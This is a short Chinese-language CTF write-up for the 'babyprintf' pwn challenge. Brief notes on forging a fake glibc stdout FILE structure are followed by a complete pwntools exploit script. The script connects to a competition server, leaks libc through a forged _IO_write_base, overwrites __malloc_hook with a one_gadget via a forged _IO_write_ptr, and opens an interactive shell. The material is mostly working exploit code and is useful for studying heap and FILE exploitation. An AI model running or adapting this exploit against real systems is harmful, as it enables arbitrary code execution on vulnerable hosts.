babyprintf¶
可以覆盖stdout,因为可以伪造一个IO_stdout来做事: * 可以伪造stdout的flags,使其从_IO_write_base的地址开始泄露,从而泄露libc * 可以伪造stdout的_IO_write_ptr,其他指针清零,可以往_IO_write_ptr内存的地方写
第一次知道stdout还可以解发写操作
最后,通过printf来触发malloc(),从而触发malloc_hook。
伪造IO的函数,可以复用。
#!/usr/bin/env python2 # coding: utf-8 # Usage: ./exploit.py -r/-l/-d from pwn import * import argparse import itertools import time import os # IP = "52.68.236.186" # PORT = 56746 IP = "150.109.46.159" PORT = 20005 one_gg = 0x4f322 context.arch = "amd64" context.log_level = 'DEBUG' context.log_level = 'critical' context.terminal = ['tmux', 'splitw', '-h', '-p', '70'] BIN = "./babyprintf_ver2" def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) def r(x): return io.recv(x) def ru(x): return io.recvuntil(x) def rud(x): return io.recvuntil(x, drop=True) def se(x): return io.send(x) def sel(x): return io.sendline(x) def pick32(x): return u32(x[:4].ljust(4, '\0')) def pick64(x): return u64(x[:8].ljust(8, '\0')) parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() io = None # this is global process variable binary = ELF(BIN) if args.remote: io = remote(IP, PORT) rud("Input your token:") sel("7024ZEBXOyaCi7hWLskq2GKI1NUczUay") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elif args.local: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(BIN, env=env) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), BIN))] libc_bb = io.libs()[ '/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elif args.debugger: io = gdb.debug(BIN, ''' entry-break b *0x{:x} b *0x{:x} b *0x{:x} c b *0x{:x} p/x &__free_hook p/x &_IO_2_1_stdout_ p/x 0x00007ffff79e4000 + 0x{:x} '''.format( 0x555555554000 + 0x0000000000000740, # stdout 0x555555554000 + 0x0000000000000921, # printf 0x555555554000 + 0x00000000000007AE, # stdout compare 0x00007ffff79e4000 + one_gg, one_gg, ) ) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), BIN))] libc_bb = io.libs()[ '/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() def pack_file(_flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0, _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0, _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _IO_marker=0, _IO_chain=0, _fileno=0, _lock=0, _wide_data=0, _mode=0): file_struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) +\ p32(0) +\ p64(0xffffffffffffffff) # p64(0x000000000a000000) file_struct = file_struct.ljust(0x88, "\x00") file_struct += p64(_lock) file_struct += p64(0xffffffffffffffff) file_struct = file_struct.ljust(0xa0, "\x00") file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0, '\x00') file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8, "\x00") return file_struct rud(" buffer location to") printf_bss = int(rud("\n").strip(), 16) lg("printf bss addr:", printf_bss) binary.address = printf_bss - 0x0000000000202010 lg("binary base address:", binary.address) rud("Have fun!") # new_stdout = 0x0000000000202010 + binary.address - 0xd8 new_stdout = 0x0000000000202010 + binary.address + 0x20 pad = "A"*16 + p64(new_stdout) + "B"*8 file_struct = pack_file(_flags=0x00000000fbad1800, _IO_read_ptr=0, _IO_read_base=0, # _IO_write_base=new_stdout + 0xe3 - 0x60, _IO_write_base=binary.got["puts"], _IO_write_ptr=new_stdout + 0xe3 - 0x60, _IO_write_end=new_stdout + 0xe3 - 0x60, _IO_buf_base=new_stdout + 0xe3 - 0x60, _IO_buf_end=new_stdout + 0xe3 - 0x60 + 1, _mode=0x00000000ffffffff, _fileno=1, _lock=new_stdout+0x200, _wide_data=new_stdout+0x300 ) pad += file_struct sel(pad) rud("rewrite vtable is not permitted!\n") data = io.recv(8) puts_addr = pick64(data) libc.address = puts_addr - libc.symbols["puts"] lg("libc address", libc.address) pad = "C"*16 + p64(new_stdout) + "D"*8 pad = p64(new_stdout + 0x120 + 7*8)*2 + p64(new_stdout) + "D"*8 pad = p64(one_gg + libc.address)*2 + p64(new_stdout) + "D"*8 file_struct = pack_file(_flags=0x00000000fbad1800, _IO_read_ptr=0, _IO_read_base=0, # _IO_write_base=new_stdout + 0xe3 - 0x60, _IO_write_base=libc.symbols["__malloc_hook"] - 0x10, _IO_write_ptr=libc.symbols["__malloc_hook"], _IO_write_end=libc.symbols["__malloc_hook"] + 0x20, _IO_buf_base=0, _IO_buf_end=0, _mode=0x00000000ffffffff, _fileno=1, _lock=new_stdout+0x200, _wide_data=new_stdout+0x300 ) pad += file_struct io.sendline(pad[:-1]) io.sendline("%1000000c") io.interactive()